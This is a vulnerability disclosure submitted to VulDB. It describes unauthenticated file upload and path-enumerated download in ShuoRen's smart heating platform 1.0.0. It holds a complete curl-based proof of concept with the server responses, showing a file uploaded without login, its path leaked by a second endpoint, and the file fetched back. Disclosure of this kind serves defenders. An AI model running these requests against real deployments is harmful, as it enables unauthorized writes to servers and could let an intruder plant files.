| 제목 | 北京硕人时代科技股份有限公司 北京硕人时代智慧供热平台 1.0.0 未登录下文件上传以及下载 |
|---|
| 설명 | 未授权文件上传，可以不登录的情况下上传文件。
上传文件路径泄露与可公开下载，上传的文件可以通过枚举得到路径，并且再次下载到本地。
以下是完整复现
```bash
BASE="http://x.x.x.x:8001"
echo "poc" >/tmp/poc.txt
curl -i -X POST "$BASE/MP/Service/Webservice/ExampleNodeService.asmx/UpFileToExample" \
-F "sData=1" \
-F "file=@/tmp/poc.txt;type=text/plain"
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 11 Feb 2026 13:48:45 GMT
Content-Length: 18
文件上传成功
IMG=$(curl -s "$BASE/MP/Service/Webservice/ExampleNodeService.asmx/GetExampleNodeStr" \
| rg -o '\.\./Images/[^"]*poc\.txt' | tail -n1)
echo "$IMG"
curl -i "$BASE/MP/${IMG#../}"
../Images/A1A639064433254215017Apoc.txt
HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Wed, 11 Feb 2026 13:48:45 GMT
Accept-Ranges: bytes
ETag: "e1f639245d9bdc1:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Wed, 11 Feb 2026 13:54:48 GMT
Content-Length: 4
poc
``` |
|---|
| 원천 | ⚠️ http://x.x.x.x:8001 |
|---|
| 사용자 | zsmaaa (UID 93294) |
|---|
| 제출 | 2026. 02. 11. PM 03:14 (4 개월 ago) |
|---|
| 모더레이션 | 2026. 02. 23. PM 02:59 (12 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 347381 [ShuoRen Smart Heating Integrated Management Platform 1.0.0 ExampleNodeService.asmx 파일 권한 상승] |
|---|
| 포인트들 | 17 |
|---|